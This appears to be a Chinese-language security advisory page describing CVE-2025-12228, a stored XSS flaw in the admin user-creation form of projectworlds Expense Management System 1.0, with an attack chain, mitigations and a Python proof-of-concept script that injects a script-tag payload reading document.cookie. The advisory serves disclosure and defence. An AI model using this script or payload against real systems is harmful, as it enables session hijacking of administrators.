IPBUF安全漏洞报告
English
CVE-2025-12228 CVSS 2.4 低危

CVE-2025-12228 Expense Management System 1.0 XSS漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12228
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
projectworlds Expense Management System 1.0

相关标签

跨站脚本攻击XSS存储型XSSExpense Management SystemprojectworldsCVE-2025-12228Web应用安全用户创建功能

漏洞概述

CVE-2025-12228是projectworlds公司开发的Expense Management System 1.0版本中存在的一个跨站脚本(XSS)漏洞。该漏洞位于管理后台的用户创建功能页面(/public/admin/users/create),攻击者可以通过在用户创建表单中注入恶意JavaScript代码,当其他管理员访问该页面或查看用户列表时,恶意代码会在受害者浏览器中执行。漏洞的CVSS评分为2.4,属于低危级别,主要因为该漏洞需要高权限用户身份(PR:H)且需要用户交互(UI:R)才能触发。攻击成功后可能导致会话劫持、敏感信息窃取、管理员权限滥用等安全风险。由于该漏洞的利用代码已在公开渠道可得,建议相关用户尽快采取防护措施。

技术细节

该漏洞是一个典型的存储型XSS(Stored XSS)漏洞,存在于Expense Management System 1.0的/admin/users/create端点。攻击者以高权限管理员身份登录系统后,在创建用户页面(Users Page)的某个输入字段中注入恶意JavaScript代码。由于系统未对用户输入进行充分的输入验证和输出编码,恶意代码会被存储在数据库中。当其他管理员访问用户列表或相关页面时,服务器从数据库读取并展示用户信息,浏览器会将其作为HTML/JavaScript解析执行,从而触发XSS攻击。漏洞的利用条件包括:1)攻击者需要拥有系统管理员权限;2)需要诱导其他管理员访问包含恶意代码的页面;3)攻击依赖于浏览器的JavaScript执行环境。CVSS向量显示攻击复杂度低(AC:L),但需要网络访问(AV:N)和用户交互(UI:R)。

攻击链分析

STEP 1
步骤1
攻击者获取Expense Management System的管理员账户凭据
STEP 2
步骤2
攻击者登录系统并访问用户创建页面(/public/admin/users/create)
STEP 3
步骤3
在用户创建表单的某个输入字段中注入恶意JavaScript代码(如<script>标签)
STEP 4
步骤4
系统未对输入进行过滤和编码,将恶意代码存储到数据库
STEP 5
步骤5
其他管理员访问用户列表或相关页面时,服务器从数据库读取并展示恶意代码
STEP 6
步骤6
受害者浏览器解析HTML时执行恶意JavaScript,导致Cookie窃取或会话劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12228 PoC - Expense Management System 1.0 XSS # Affected Component: /public/admin/users/create (Users Page) # Vulnerability Type: Stored XSS import requests import sys target_url = "http://target-server.com" login_url = f"{target_url}/login" create_user_url = f"{target_url}/public/admin/users/create" # Login with admin credentials session = requests.Session() login_data = { "username": "admin", "password": "admin123" } login_response = session.post(login_url, data=login_data) if login_response.status_code != 200: print("[-] Login failed") sys.exit(1) print("[+] Login successful") # XSS Payload - Inject malicious JavaScript in user creation form # The payload can be injected in any user field (name, email, etc.) xss_payload = "<script>alert(document.cookie)</script>" user_data = { "name": xss_payload, "email": "[email protected]", "username": "attacker_user", "password": "Password123!", "role": "user" } # Send the malicious request to create user create_response = session.post(create_user_url, data=user_data) if create_response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] When admin views user list, the XSS will be triggered") else: print("[-] Failed to inject payload")

影响范围

projectworlds Expense Management System 1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1)对管理后台实施严格的访问控制,限制可访问用户创建功能的IP地址;2)在Web应用防火墙(WAF)层面配置XSS过滤规则,对<script>等危险标签进行拦截;3)增强管理员账户安全,使用强密码和多因素认证;4)定期审计日志,监控异常的管理员行为和用户创建操作;5)对敏感操作实施双人审批机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表